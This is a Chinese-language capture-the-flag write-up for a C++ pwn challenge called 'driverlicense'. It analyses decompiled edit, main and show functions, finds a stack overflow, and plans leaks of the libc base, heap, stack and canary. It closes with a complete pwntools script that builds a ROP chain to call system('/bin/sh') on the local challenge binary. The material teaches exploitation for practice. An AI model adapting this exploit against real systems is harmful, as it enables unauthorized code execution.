driverlicense
一个 C++PWN
源文件是这个
分析 edit 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 __fastcall edit(__int64 a1) { __int64 v1; __int64 result; void *ptr; size_t v4; ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a1); v4 = malloc_usable_size(ptr); if ( v4 ) { std::operator<<<std::char_traits<char>>(&std::cout, "Input new comment >> "); result = input((__int64)ptr, v4); } else { v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Edit failed."); result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); } return result; }
|
注意到,如果v4
很大,可能可以造成溢出
分析 main 函数
注意到 Line 35,v17
被赋值为v16
,v16
是 comment 的内容
也就是,edit
函数将会编辑我们初始化中的 comment
注意到 ELF 使用 C++的iostream
,若输入的字符串长度小于 8,将被保存在栈上;否则在堆上
故初始化时 comment 长度应当小,使之被保存在栈上。通过 edit 函数漏洞造成栈溢出
注意到 Line64、65 的std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
,是 free 函数
也就是说相关位置的指针必须指向 heap 的相关位置
同时注意到 Line19,文件开启了金丝雀保护
分析 show 函数
本质上是读取堆内内容并输出
但是结合上文,栈溢出后可以覆盖到 name 的堆地址,即任意读取
思路
可见,栈溢出通过 0x10 的偏移可以覆盖到 name 的堆地址,再结合 show 函数泄露需要的内容
由于std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
(或者看成free
)存在,需要复原被栈溢出覆盖的堆地址
由此我们可知需要泄露的内容有:
- libc 基址
- heap 基址
- stack 基址
- canary
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug') p = process('./driverlicense')
elf = ELF('./driverlicense')
libc = ELF('./libc-2.23.so')
def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2')
sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6)
update(b'a'*0x10 + p64(elf.got['read'])) show() libc_base = get_addr() - libc.sym['read']
environ = libc_base + libc.sym['__environ'] update(b'a'*0x10 + p64(environ)) show() stack = get_addr()
update(b'a'*0x10 + p64(stack - 0x110)) show() rl(b'Your name : ') canary = u64(p.recv(8))
update(b'a'*0x10 + p64(stack - 0x1b8)) show() rl(b'Your name : ') heap_addr = u32(p.recv(4))
rdi = 0x401713 ret = 0x400df1 system, binsh = get_sb()
update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)) sla(b'>> ', b'0')
print(' heap_addr -> ', hex(heap_addr)) print(' canary -> ', hex(canary)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base)) inter()
|